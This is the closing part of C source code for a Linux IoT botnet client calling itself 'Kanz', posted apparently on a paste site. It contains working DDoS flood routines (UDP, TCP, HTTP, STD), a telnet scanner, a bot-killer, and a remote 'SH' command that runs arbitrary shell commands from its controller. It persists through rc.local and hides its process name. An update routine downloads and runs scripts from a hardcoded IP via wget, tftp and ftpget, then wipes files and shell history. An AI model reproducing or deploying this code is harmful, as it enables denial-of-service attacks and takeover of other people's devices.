  1845. "Mozilla/5.0 (Windows NT 5.1; WOW64) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
  1846. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/536.8+ (KHTML, like Gecko) Version/5.1.5 Safari/534.55.3",
  1847. "Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A5376e Safari/8536.25",
  1848. "Mozilla/5.0 (compatible; Ezooms/1.0; ezooms.bot@gmail.com)",
  1849. "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)",
  1850. "Sogou web spider/4.0(+http://www.sogou.com/docs/help/webmasters.htm#07)",
  1851. "Mozilla/5.0 (Admin Catalog; Windows NT 5.1; infobot.4942@yahoo.com)",
  1852. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
  1853. "HuaweiSymantecSpider/1.0+DSE-support@huaweisymantec.com+(compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR ; http://www.huaweisymantec.com/en/IRL/spider)",
  1854. "Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html) Gecko/2008032620",
  1855. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
  1856. "Feedfetcher-Google; (+http://www.google.com/feedfetcher.html; 1 subscribers; feed-id=9422214874901413839)",
  1857. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  1858. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Firefox/24.0",
  1859. "Mozilla/5.0 (iPhone; CPU iPhone OS 7_0 like Mac OS X) AppleWebKit/537.51.1 (KHTML, like Gecko) Version/7.0 Mobile/11A465 Safari/9537.53 (compatible; bingbot/2.0; http://www.bing.com/bingbot.htm)",
  1860. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1",
  1861. "Mozilla/5.0 (iPad; U; CPU OS 5_1 like Mac OS X) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B367 Safari/531.21.10 UCBrowser/3.4.3.532",
  1862. "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko",
  1863. "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1a2pre) Gecko/2008073000 Shredder/3.0a2pre ThunderBrowse/3.2.1.8",
  1864. "Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7.10) Gecko/20050716 Thunderbird/1.0.6",
  1865. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0b7pre) Gecko/20100925 Firefox/4.0b7pre",
  1866. "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9b5pre) Gecko/2008032619 Linpus/3.0-0.49.3.0b5pre.lp Minefield/3.0b5pre",
  1867. "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.3a1pre) Gecko/20100128 Minefield/3.7a1pre",
  1868. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9a9pre) Gecko/2007100205 Minefield/3.0a9pre",
  1869. "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9a4pre) Gecko/20070402 Minefield/3.0a4pre",
  1870. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.5) Gecko/20041103 Firefox/1.0RC2",
  1871. "Mozilla/5.0 (Windows NT 6.1; rv:39.0) Gecko/20100101 Firefox/39.0",
  1872. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  1873. "Mozilla/5.0 (PlayStation 4 1.52) AppleWebKit/536.26 (KHTML, like Gecko)",
  1874. "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:13.0) Gecko/20100101 Firefox/13.0",
  1875. "Mozilla/5.0 (Linux; Android 4.2.2; AFTB Build/JDQ39) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.173 Mobile Safari/537.22",
  1876. "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101230 Mandriva Linux/1.9.2.13-0.2mdv2010.2 (2010.2) Firefox/3.6.13",
  1877. "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)",
  1878. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)",
  1879. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1",
  1880. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.27 Safari/536.11",
  1881. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.3; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1; AskTbCFTP2V5/5.14.1.20007)",
  1882. "Mozilla/5.0 (Windows NT 6.0; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  1883. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:37.0) Gecko/20100101 Firefox/37.0",
  1884. "Mozilla/5.0 (PLAYSTATION 3 4.66) AppleWebKit/531.22.8 (KHTML, like Gecko)",
  1885. "Wget/1.12 (linux-gnu)",
  1886. "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
  1887. "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
  1888. "Mozilla/5.0 (Nintendo WiiU) AppleWebKit/536.30 (KHTML, like Gecko) NX/3.0.4.2.12 NintendoBrowser/4.3.1.11264.US",
  1889. "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.75 Safari/537.36 OPR/36.0.2130.3",
  1890. "Mozilla/5.0 (Linux; U; Android 4.4.2; en-us; SCH-I535 Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile",
  1891. "Mozilla/5.0 (iPad; CPU OS 9_3 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13E234 Safari/601.1",
  1892. "Mozilla/5.0 (Linux; Android 5.1; XT1032 Build/LPB23.13-58) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.89 Mobile",
  1893. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.3",
  1894. "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.89 Safari/537.1; 360Spider(compatible; Ha",
  1895. "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 OPR/26.0.1656.60",
  1896. "Mozilla/5.0 (Windows NT 5.1; WOW64) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
  1897. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/536.8+ (KHTML, like Gecko) Version/5.1.5 Safari/534.55.3",
  1898. "Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A5376e Safari/8536.25",
  1899. "Mozilla/5.0 (compatible; Ezooms/1.0; ezooms.bot@gmail.com)",
  1900. "Mozilla/5.0 (Windows NT 6.1; WOW64) SkypeUriPreview Preview/0.5",
  1901. "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)",
  1902. "Sogou web spider/4.0(+http://www.sogou.com/docs/help/webmasters.htm#07)",
  1903. "Mozilla/5.0 (Admin Catalog; Windows NT 5.1; infobot.4942@yahoo.com)",
  1904. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
  1905. "HuaweiSymantecSpider/1.0+DSE-support@huaweisymantec.com+(compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR ; http://www.huaweisymantec.com/en/IRL/spider)",
  1906. "Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html) Gecko/2008032620",
  1907. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
  1908. "Feedfetcher-Google; (+http://www.google.com/feedfetcher.html; 1 subscribers; feed-id=9422214874901413839)",
  1909. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  1910. };
  1911. const char *connections[] = {"close", "keep-alive", "accept"};
  1912. int i, timeEnd = time(NULL) + timeFoo;
  1913. char request[512];
  1914. sprintf(request, "%s %s HTTP/1.1\r\nConnection: %s\r\nAccept: */*\r\nUser-Agent: %s\r\n", method, path, connections[(rand() % 30)], useragents[(rand() % 674)]);
  1915. for (i = 0; i < power; i++) {
  1916. if (fork()) {
  1917. while (timeEnd > time(NULL)) {
  1918. int socket = socket_connect((char *)host, port);
  1919. if (socket != 0) {
  1920. write(socket, request, strlen(request)); // Won't send out agents correctly will be fixed later ; note to self
  1921. close(socket);
  1922. }
  1923. }
  1924. _exit(1);
  1925. }
  1926. }
  1927. }
  1928. void sendCNC(unsigned char *ip,int port, int end_time) {
  1929. int end = time(NULL) + end_time;
  1930. int sockfd;
  1931. struct sockaddr_in server;
  1932. server.sin_addr.s_addr = inet_addr(ip);
  1933. server.sin_family = AF_INET;
  1934. server.sin_port = htons(port);
  1935. while(end > time(NULL)) {
  1936. sockfd = socket(AF_INET, SOCK_STREAM, 0);
  1937. connect(sockfd , (struct sockaddr *)&server , sizeof(server));
  1938. sleep(1);
  1939. close(sockfd);
  1940. }
  1941. }
  1942. void UpdateBins() {
  1943. int pid;
  1944. if ( (pid = fork()) == 0) {
  1945. system("cd /tmp || cd /var/run || cd /dev/shm || cd /mnt || cd /var;rm -f *;wget http://192.157.220.253/shitty.sh; chmod 777 shitty.sh; sh shitty.sh; tftp 192.157.220.253 -c get shtftp1.sh; chmod 777 shtftp1.sh; sh shtftp1.sh; tftp -r shtftp2.sh -g 192.157.220.253; chmod 777 shtftp2.sh; sh shtftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 192.157.220.253 ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf shitty.sh shtftp1.sh shtftp2.sh ftp1.sh; rm -rf *; history -c");
  1946. sleep(20); //sleeping for 20 dont wanna kill all your bots.
  1947. } else {
  1948. printf("%d\n", pid);
  1949. }
  1950. return;
  1951. }
  1952. void processCmd(int argc, unsigned char *argv[]) {
  1953. if(!strcmp(argv[0], "PING")) {
  1954. #ifdef PRINTS_ENABLED
  1955. sockprintf(mainCommSock, "PONG!");
  1956. #endif
  1957. return;
  1958. }
  1959. if(!strcmp(argv[0], "TABLE")) {
  1960. #ifdef PRINTS_ENABLED
  1961. sockprintf(mainCommSock, "%d", getdtablesize());
  1962. #endif
  1963. return;
  1964. }
  1965. if(!strcmp(argv[0], "UPDATE")) {
  1966. #ifdef PRINTS_ENABLED
  1967. sockprintf(mainCommSock, "UPDATE TAKEN SUCCESFULLY");
  1968. #endif
  1969. UpdateBins(1);
  1970. return;
  1971. }
  1972. if(!strcmp(argv[0], "TELNET")) {
  1973. if(!strcmp(argv[1], "OFF")) {
  1974. if(scanPid == 0) return;
  1975. kill(scanPid, 9);
  1976. sockprintf(mainCommSock, "Kanz SHUTTING DOWN");
  1977. scanPid = 0;
  1978. }
  1979. if(!strcmp(argv[1], "ON")) {
  1980. if(scanPid != 0) return;
  1981. uint32_t parent;
  1982. parent = fork();
  1983. int threads = 1000;
  1984. int timeout = 10;
  1985. if (parent > 0) { scanPid = parent; return;}
  1986. else if(parent == -1) return;
  1987. sockprintf(mainCommSock, "\x1b[1;35mKanz SEARCHING ON | IP: \x1b[0;37m%s\x1b[0m", inet_ntoa(ourIP));
  1988. TelnetScanner(timeout, threads);
  1989. _exit(0);
  1990. }
  1991. }
  1992. if(!strcmp(argv[0], "IMAASSHOLETHATBOTKILLS")) {
  1993. if(!listFork()) {
  1994. sockprintf(mainCommSock, "Kanz KILLING | IP: %s", inet_ntoa(ourIP));
  1995. botkiller();
  1996. _exit(0);
  1997. }
  1998. }
  1999. if(!strcmp(argv[0], "GETPUBLICIP")) {
  2000. #ifdef PRINTS_ENABLED
  2001. sockprintf(mainCommSock, "My Public IP: %s", inet_ntoa(ourIP));
  2002. #endif
  2003. return;
  2004. }
  2005. if(!strcmp(argv[0], "UDP")) {
  2006. if(argc < 6 || atoi(argv[3]) == -1 || atoi(argv[2]) == -1 || atoi(argv[4]) == -1 || atoi(argv[5]) == -1 || atoi(argv[5]) > 65536 || atoi(argv[5]) > 65500 || atoi(argv[4]) > 32 || (argc == 7 && atoi(argv[6]) < 1)) {
  2007. #ifdef PRINTS_ENABLED
  2008. sockprintf(mainCommSock, "UDP <target> <port (0 for random)> <time> <netmask> <packet size> <poll interval> <sleep check> <sleep time(ms)>");
  2009. #endif
  2010. return;
  2011. }
  2012. unsigned char *ip = argv[1];
  2013. int port = atoi(argv[2]);
  2014. int time = atoi(argv[3]);
  2015. int spoofed = atoi(argv[4]);
  2016. int packetsize = atoi(argv[5]);
  2017. int pollinterval = (argc > 6 ? atoi(argv[6]) : 1000);
  2018. int sleepcheck = (argc > 7 ? atoi(argv[7]) : 1000000);
  2019. int sleeptime = (argc > 8 ? atoi(argv[8]) : 0);
  2020. if(strstr(ip, ",") != NULL) {
  2021. unsigned char *hi = strtok(ip, ",");
  2022. while(hi != NULL) {
  2023. if(!listFork()) {
  2024. sendUDP(hi, port, time, spoofed, packetsize, pollinterval, sleepcheck, sleeptime);
  2025. _exit(0);
  2026. }
  2027. hi = strtok(NULL, ",");
  2028. }
  2029. } else {
  2030. if (!listFork()){
  2031. sendUDP(ip, port, time, spoofed, packetsize, pollinterval, sleepcheck, sleeptime);
  2032. _exit(0);
  2033. }
  2034. }
  2035. return;
  2036. }
  2037. if(!strcmp(argv[0], "TCP")) {
  2038. if(argc < 6 || atoi(argv[3]) == -1 || atoi(argv[2]) == -1 || atoi(argv[4]) == -1 || atoi(argv[4]) > 32 || (argc > 6 && atoi(argv[6]) < 0) || (argc == 8 && atoi(argv[7]) < 1)) {
  2039. #ifdef PRINTS_ENABLED
  2040. sockprintf(mainCommSock, "TCP <target> <port (0 for random)> <time> <netmask (32 for non spoofed)> <flags (syn, ack, psh, rst, fin, all) comma seperated> (packet size, usually 0) (time poll interval, default 10)");
  2041. #endif
  2042. return;
  2043. }
  2044. unsigned char *ip = argv[1];
  2045. int port = atoi(argv[2]);
  2046. int time = atoi(argv[3]);
  2047. int spoofed = atoi(argv[4]);
  2048. unsigned char *flags = argv[5];
  2049. int pollinterval = argc == 8 ? atoi(argv[7]) : 10;
  2050. int psize = argc > 6 ? atoi(argv[6]) : 0;
  2051. if(strstr(ip, ",") != NULL) {
  2052. unsigned char *hi = strtok(ip, ",");
  2053. while(hi != NULL) {
  2054. if(!listFork()) {
  2055. sendTCP(hi, port, time, spoofed, flags, psize, pollinterval);
  2056. _exit(0);
  2057. }
  2058. hi = strtok(NULL, ",");
  2059. }
  2060. } else {
  2061. if (!listFork()) {
  2062. sendTCP(ip, port, time, spoofed, flags, psize, pollinterval);
  2063. _exit(0);
  2064. }
  2065. }
  2066. }
  2067. if (!strcmp((const char *)argv[0], "HTTP")) {
  2068. if (argc < 6) {
  2069. return;
  2070. }
  2071. if (strstr((const char *)argv[1], ",") != NULL) {
  2072. unsigned char *hi = (unsigned char *)strtok((char *)argv[1], ",");
  2073. while (hi != NULL) {
  2074. if (!listFork()) {
  2075. sendHTTP((char*)argv[1], (char*)argv[2], atoi((char*)argv[3]), (char*)argv[4], atoi((char*)argv[5]), atoi((char*)argv[6]));
  2076. _exit(0);
  2077. }
  2078. hi = (unsigned char *)strtok(NULL, ",");
  2079. }
  2080. } else {
  2081. if (listFork()) {
  2082. return;
  2083. }
  2084. sendHTTP((char*)argv[1], (char*)argv[2], atoi((char*)argv[3]), (char*)argv[4], atoi((char*)argv[5]), atoi((char*)argv[6]));
  2085. _exit(0);
  2086. }
  2087. }
  2088. if(!strcmp(argv[0], "CNC")) {
  2089. if(argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1) {
  2090. #ifdef PRINTS_ENABLED
  2091. sockprintf(mainCommSock, "CNC <target> <port> <time>");
  2092. #endif
  2093. return;
  2094. }
  2095. unsigned char *ip = argv[1];
  2096. int port = atoi(argv[2]);
  2097. int time = atoi(argv[3]);
  2098. if(strstr(ip, ",") != NULL) {
  2099. unsigned char *hi = strtok(ip, ",");
  2100. while(hi != NULL) {
  2101. if(!listFork()) {
  2102. sendCNC(hi, port, time);
  2103. close(mainCommSock);
  2104. _exit(0);
  2105. }
  2106. hi = strtok(NULL, ",");
  2107. }
  2108. } else {
  2109. if (listFork()) { return; }
  2110. sendCNC(ip, port, time);
  2111. _exit(0);
  2112. }
  2113. }
  2114. if(!strcmp(argv[0], "STD")) {
  2115. if(argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1) {
  2116. #ifdef PRINTS_ENABLED
  2117. sockprintf(mainCommSock, "STD <target> <port> <time>");
  2118. #endif
  2119. return;
  2120. }
  2121. unsigned char *ip = argv[1];
  2122. int port = atoi(argv[2]);
  2123. int time = atoi(argv[3]);
  2124. if(strstr(ip, ",") != NULL) {
  2125. unsigned char *hi = strtok(ip, ",");
  2126. while(hi != NULL) {
  2127. if(!listFork()) {
  2128. sendSTD(hi, port, time);
  2129. _exit(0);
  2130. }
  2131. hi = strtok(NULL, ",");
  2132. }
  2133. } else {
  2134. if (listFork()) { return; }
  2135. sendSTD(ip, port, time);
  2136. _exit(0);
  2137. }
  2138. }
  2139. if(!strcmp(argv[0], "STOP")) {
  2140. int killed = 0;
  2141. unsigned long i;
  2142. for (i = 0; i < numpids; i++) {
  2143. if (pids[i] != 0 && pids[i] != getpid()) {
  2144. kill(pids[i], 9);
  2145. killed++;
  2146. }
  2147. }
  2148. if(killed > 0) {
  2149. sockprintf(mainCommSock, "DDOS STOPPED", killed);
  2150. } else {
  2151. sockprintf(mainCommSock, "NO DDOS STOPPED");
  2152. }
  2153. }
  2154. if(!strcmp(argv[0], "HAHANO")) {
  2155. exit(0);
  2156. }
  2157. }
  2158. int initConnection() {
  2159. unsigned char server[4096];
  2160. memset(server, 0, 4096);
  2161. if(mainCommSock) { close(mainCommSock); mainCommSock = 0; }
  2162. if(currentServer + 1 == SERVER_LIST_SIZE) currentServer = 0;
  2163. else currentServer++;
  2164. strcpy(server, PromServer[currentServer]);
  2165. int port = 23;
  2166. if(strchr(server, ':') != NULL) {
  2167. port = atoi(strchr(server, ':') + 1);
  2168. *((unsigned char *)(strchr(server, ':'))) = 0x0;
  2169. }
  2170. mainCommSock = socket(AF_INET, SOCK_STREAM, 0);
  2171. if(!connectTimeout(mainCommSock, server, port, 30)) return 1;
  2172. return 0;
  2173. }
  2174. int getOurIP() {
  2175. int sock = socket(AF_INET, SOCK_DGRAM, 0);
  2176. if(sock == -1) return 0;
  2177. struct sockaddr_in serv;
  2178. memset(&serv, 0, sizeof(serv));
  2179. serv.sin_family = AF_INET;
  2180. serv.sin_addr.s_addr = inet_addr("8.8.8.8");
  2181. serv.sin_port = htons(53);
  2182. int err = connect(sock, (const struct sockaddr*) &serv, sizeof(serv));
  2183. if(err == -1) return 0;
  2184. struct sockaddr_in name;
  2185. socklen_t namelen = sizeof(name);
  2186. err = getsockname(sock, (struct sockaddr*) &name, &namelen);
  2187. if(err == -1) return 0;
  2188. ourIP.s_addr = name.sin_addr.s_addr;
  2189. int cmdline = open("/proc/net/route", O_RDONLY);
  2190. char linebuf[4096];
  2191. while(fdgets(linebuf, 4096, cmdline) != NULL) {
  2192. if(strstr(linebuf, "\t00000000\t") != NULL) {
  2193. unsigned char *pos = linebuf;
  2194. while(*pos != '\t') pos++;
  2195. *pos = 0;
  2196. break;
  2197. }
  2198. memset(linebuf, 0, 4096);
  2199. }
  2200. close(cmdline);
  2201. if(*linebuf) {
  2202. int i;
  2203. struct ifreq ifr;
  2204. strcpy(ifr.ifr_name, linebuf);
  2205. ioctl(sock, SIOCGIFHWADDR, &ifr);
  2206. for (i=0; i<6; i++) macAddress[i] = ((unsigned char*)ifr.ifr_hwaddr.sa_data)[i];
  2207. }
  2208. close(sock);
  2209. }
  2210. char *getBuild() {
  2211. #ifdef MIPS_BUILD
  2212. return "MIPS";
  2213. #elif MIPSEL_BUILD
  2214. return "MIPSEL";
  2215. #elif X86_BUILD
  2216. return "X86";
  2217. #elif ARM_BUILD
  2218. return "ARM";
  2219. #elif PPC_BUILD
  2220. return "POWERPC";
  2221. #else
  2222. return "Kanz";
  2223. #endif
  2224. }
  2225. int main(int argc, unsigned char *argv[]) {
  2226. char *mynameis = "";
  2227. if(SERVER_LIST_SIZE <= 0) return 0;
  2228. strncpy(argv[0],"",strlen(argv[0]));
  2229. argv[0] = "";
  2230. prctl(PR_SET_NAME, (unsigned long) mynameis, 0, 0, 0);
  2231. srand(time(NULL) ^ getpid());
  2232. init_rand(time(NULL) ^ getpid());
  2233. pid_t pid1;
  2234. pid_t pid2;
  2235. int status;
  2236. int dupthing = 0;
  2237. char cwd[256],*str;
  2238. FILE *file;
  2239. str="/etc/rc.d/rc.local";
  2240. file=fopen(str,"r");
  2241. if (file == NULL) {
  2242. str="/etc/rc.conf";
  2243. file=fopen(str,"r");
  2244. }
  2245. if (file != NULL) {
  2246. char outfile[256], buf[1024];
  2247. int i=strlen(argv[0]), d=0;
  2248. getcwd(cwd,256);
  2249. if (strcmp(cwd,"/")) {
  2250. while(argv[0][i] != '/') i--;
  2251. sprintf(outfile,"\"%s%s\"\n",cwd,argv[0]+i);
  2252. while(!feof(file)) {
  2253. fgets(buf,1024,file);
  2254. if (!strcasecmp(buf,outfile)) d++;
  2255. }
  2256. if (d == 0) {
  2257. FILE *out;
  2258. fclose(file);
  2259. out=fopen(str,"a");
  2260. if (out != NULL) {
  2261. fputs(outfile,out);
  2262. fclose(out);
  2263. }
  2264. }
  2265. else fclose(file);
  2266. }
  2267. else fclose(file);
  2268. }
  2269. getOurIP();
  2270. if (pid1 = fork()) {
  2271. waitpid(pid1, &status, 0);
  2272. exit(0);
  2273. } else if (!pid1) {
  2274. if (pid2 = fork()) {
  2275. exit(0);
  2276. } else if (!pid2) {
  2277. } else {
  2278. zprintf("fork failed\n");
  2279. }
  2280. } else {
  2281. zprintf("fork failed\n");
  2282. }
  2283. setsid();
  2284. chdir("/");
  2285. signal(SIGPIPE, SIG_IGN);
  2286. while(1) {
  2287. if(initConnection()) { sleep(30); continue; }
  2288. sockprintf(mainCommSock, "\x1b[1;36mNEW %s JOINNED Kanz \x1b[1;37m| \x1b[1;36mIP: \x1b[1;37m%s\x1b[0m", getBuild(), inet_ntoa(ourIP));
  2289. char commBuf[4096];
  2290. int got = 0;
  2291. int i = 0;
  2292. while((got = recvLine(mainCommSock, commBuf, 4096)) != -1) {
  2293. for (i = 0; i < numpids; i++) if (waitpid(pids[i], NULL, WNOHANG) > 0) {
  2294. unsigned int *newpids, on;
  2295. for (on = i + 1; on < numpids; on++) pids[on-1] = pids[on];
  2296. pids[on - 1] = 0;
  2297. numpids--;
  2298. newpids = (unsigned int*)malloc((numpids + 1) * sizeof(unsigned int));
  2299. for (on = 0; on < numpids; on++) newpids[on] = pids[on];
  2300. free(pids);
  2301. pids = newpids;
  2302. }
  2303. commBuf[got] = 0x00;
  2304. trim(commBuf);
  2305. if(strstr(commBuf, "PING") == commBuf) {
  2306. sockprintf(mainCommSock, "PONG");
  2307. continue;
  2308. }
  2309. if(strstr(commBuf, "DUP") == commBuf){
  2310. dupthing++;
  2311. zprintf("PEACE OUT IMMA DUP\n");
  2312. if(dupthing > 20){
  2313. exit(0);
  2314. }
  2315. break;
  2316. }
  2317. unsigned char *message = commBuf;
  2318. if(*message == '!') {
  2319. unsigned char *nickMask = message + 1;
  2320. while(*nickMask != ' ' && *nickMask != 0x00) nickMask++;
  2321. if(*nickMask == 0x00) continue;
  2322. *(nickMask) = 0x00;
  2323. nickMask = message + 1;
  2324. message = message + strlen(nickMask) + 2;
  2325. while(message[strlen(message) - 1] == '\n' || message[strlen(message) - 1] == '\r') message[strlen(message) - 1] = 0x00;
  2326. unsigned char *command = message;
  2327. while(*message != ' ' && *message != 0x00) message++;
  2328. *message = 0x00;
  2329. message++;
  2330. unsigned char *tmpcommand = command;
  2331. while(*tmpcommand) { *tmpcommand = toupper(*tmpcommand); tmpcommand++; }
  2332. if(strcmp(command, "SH") == 0) {
  2333. unsigned char buf[1024];
  2334. int command;
  2335. if (listFork()) continue;
  2336. memset(buf, 0, 1024);
  2337. szprintf(buf, "%s 2>&1", message);
  2338. command = fdpopen(buf, "r");
  2339. while(fdgets(buf, 1024, command) != NULL) {
  2340. trim(buf);
  2341. sockprintf(mainCommSock, "%s", buf);
  2342. memset(buf, 0, 1024);
  2343. sleep(1);
  2344. }
  2345. fdpclose(command);
  2346. exit(0);
  2347. }
  2348. unsigned char *params[10];
  2349. int paramsCount = 1;
  2350. unsigned char *pch = strtok(message, " ");
  2351. params[0] = command;
  2352. while(pch) {
  2353. if(*pch != '\n') {
  2354. params[paramsCount] = (unsigned char *)malloc(strlen(pch) + 1);
  2355. memset(params[paramsCount], 0, strlen(pch) + 1);
  2356. strcpy(params[paramsCount], pch);
  2357. paramsCount++;
  2358. }
  2359. pch = strtok(NULL, " ");
  2360. }
  2361. processCmd(paramsCount, params);
  2362. if(paramsCount > 1) {
  2363. int q = 1;
  2364. for(q = 1; q < paramsCount; q++) {
  2365. free(params[q]);
  2366. }
  2367. }
  2368. }
  2369. }
  2370. }
  2371. return 0;
  2372. printf("client exiting");
  2373. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement